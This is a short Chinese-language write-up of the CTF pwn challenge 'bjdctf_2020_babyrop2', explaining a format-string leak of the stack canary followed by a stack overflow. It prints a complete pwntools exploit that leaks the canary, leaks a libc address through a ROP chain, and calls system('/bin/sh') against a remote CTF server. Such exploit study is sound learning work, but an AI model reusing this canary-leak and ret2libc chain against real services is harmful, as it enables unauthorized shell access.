bjdctf_2020_babyrop2
bjdctf_2020_babyrop2
1.ida分析

有个字符串格式化漏洞,应该是利用这个漏洞泄露出canary的值。

存在栈溢出漏洞。
2.checksec

3.解决
exp参考:https://blog.csdn.net/qq_44768749/article/details/108248798
from pwn import * from LibcSearcher import * context.log_level='debug' p=remote('node4.buuoj.cn',25138) #p=process('./easyheap') #p=process(["/root/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/ld-2.23.so",'./easyheap'],env={"LD_PRELOAD":"/root/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so"}) elf=ELF('bjdctf_2020_babyrop2') puts_plt=elf.plt['puts'] read_got=elf.got['read'] vuln=0x400887 pop_rdi=0x400993 py='%7$p' p.sendlineafter('help u!\n',py) can=int(p.recvuntil('\n',drop=True),16) print hex(can) py='a'*24+p64(can)+p64(0)+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(vuln) p.sendlineafter('story!\n',py) addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\0')) libc=LibcSearcher('read',addr) base=addr-libc.dump('read') system=base+libc.dump('system') bin_sh=base+libc.dump('str_bin_sh') py='a'*24+p64(can)+p64(0)+p64(pop_rdi)+p64(bin_sh)+p64(system) p.sendlineafter('story!\n',py) p.interactive()
这个题目的重点就是如何泄露canaey,恰巧现在我对字符串格式化漏洞还是不明白,只能先参考一下的了。
利用pwngdb的功能获取canary的偏移


浙公网安备 33010602011771号